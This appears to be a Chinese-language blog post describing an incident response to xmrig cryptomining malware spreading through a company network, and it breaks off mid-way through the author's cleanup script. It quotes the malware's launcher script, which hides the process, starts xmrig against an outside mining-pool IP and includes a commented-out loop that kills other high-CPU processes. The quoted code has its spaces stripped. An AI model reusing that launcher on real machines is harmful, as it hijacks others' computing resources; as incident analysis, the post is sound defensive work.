一次內網挖礦病毒的應急響應
一次內網挖礦病毒的應急響應
零、前言
前幾天公司的一臺虛擬機器CPU持續告警,IT週日發現了問題,後來發現是挖礦病毒並且已經在內網擴散了,安全小組立刻展開調查。因為網上文章對於挖礦在內網擴散怎麼解決的思路很少,所以才有了下面這篇文章。
一、背景
週一上午IT部門反饋內部伺服器疑似被攻擊,攻擊特徵為cpu利用率非常高,幾乎佔滿,懷疑被挖礦開始跟蹤分析。
二、過程
2.1、確定是否為攻擊
IT部門給了我一臺ip為192.168.5.3的伺服器讓我先做初步的分析,登上去後。首先通過top檢視伺服器,發現pid為1320,bash啟動的程式cpu佔用率高達4000%,進行檢視。先確定啟動程序的檔案位置為
/mnt/.bash/
,然後
kill -9
終止程序。
#下面的命令可以檢視PID為1320的程序是由哪個檔案啟動的。ls-l/proc/1320/exelrwxrwxrwx1rootroot0Jan2509:40/proc/1320/exe->/mnt/.bash/.bash/bash(deleted)#這裡的deleted表示啟動的檔案被刪除了
檢視目錄下都有什麼內容
[root@host2~]#lsabashbash3bash.pidccron.ddir.dirh32h64runstakstak3updxz
查看了run檔案的內容,其中內容如下,存在明顯的挖礦的特徵,確定為挖礦病毒
#!/bin/bash#下面的迴圈會刪除伺服器上所有cpu高於40%的服務,為自己的挖礦程式提供更多的cpu使用。#psaux|grep-vwxmr-stak|awk'{if($3>40.0)print$2}'|whilereadprocid#do#kill-9$procid#doneproc=`nproc`ARCH=`uname-m`HIDE="xmrig"#根據不同的架構啟動不同挖礦程式if["$ARCH"=="i686"];then./h32-s$HIDE./stak3/ld-linux.so.2--library-pathstak3stak3/xmrig-o188.166.218.65:54-acn/r-k>>/dev/null&elif["$ARCH"=="x86_64"];then./h64-s$HIDE./stak/ld-linux-x86-64.so.2--library-pathstakstak/xmrig-o188.166.218.65:54-k>>/dev/null&fiecho$!>bash.pid
2.2、明確自己要乾的事情
因為剛開始只拿到了一臺伺服器確定了問題,所以現在有兩個重要的事情需要同時去做。
找到攻擊的入口點並處理掉入口點的安全問題。確認內網擴散的影響,內網擴散的手段,並刪除內網擴散的挖礦病毒。所以我就開始一邊寫刪除挖礦病毒的臨時指令碼,一邊開始看伺服器的記錄,找到入口程式。下面我會將這兩件事分開來講,但是上面兩件事情是同步去做的。
2.3、編寫刪除挖礦指令碼的程式
為了徹底刪除挖礦指令碼,我們就要知道這個挖礦程式都幹了什麼事情。我先排查了定時任務,crontab -e編輯定時任務,剛發現挖礦程式在/mnt/.bash,所以又去看了另外一臺伺服器發現了/mnt/.cache所以可以確定這個定時任務就是挖礦病毒留下來的。
使用指令碼刪除定時任務,需要修改/var/spool/cron/或者/var/spool/cron/root這兩個檔案(centos和ubuntu有所不同),因為我們的伺服器大多數都是centos,所以我簡單判斷了一下作業系統版本。後面來自其他部門的多次反饋,確定了挖礦程式主要放在/mnt/.cache /mnt/.bash /tmp/.cache這三個目錄下,所以我們可以找到程序中哪些程序都是由這三個目錄中的檔案啟動的就殺掉,所以就寫好了下面的程式碼刪除挖礦程式通過排查,發現這個挖礦程式很簡單,我們只需要關注三點:
殺程序刪檔案刪定時任務這裡貼出來自己最後的程式碼,雖然很簡陋,甚至程式碼冗餘,但是確實最快速解決問題的方法了。
#!/bin/bashDIR_PATH="/mnt/.cache"FILE_PATH="/mnt/.cache/upd"CRON_FILE="/var/spool/cron/root"#判斷是不是ubuntuis_ubuntu=$(cat /proc/version | grep ubuntu | wc -l)if[[is_ubuntu==1]];thenCRON_FILE="/var/spool/cron/crontabs/root"fi#殺程序pid_num=$(ls -l /proc/*/exe 2>&1| grep mnt/.bash | awk '{print $9}'| cut -f3 -d"/")if[ ! -z "$pid_num"];thenecho -e "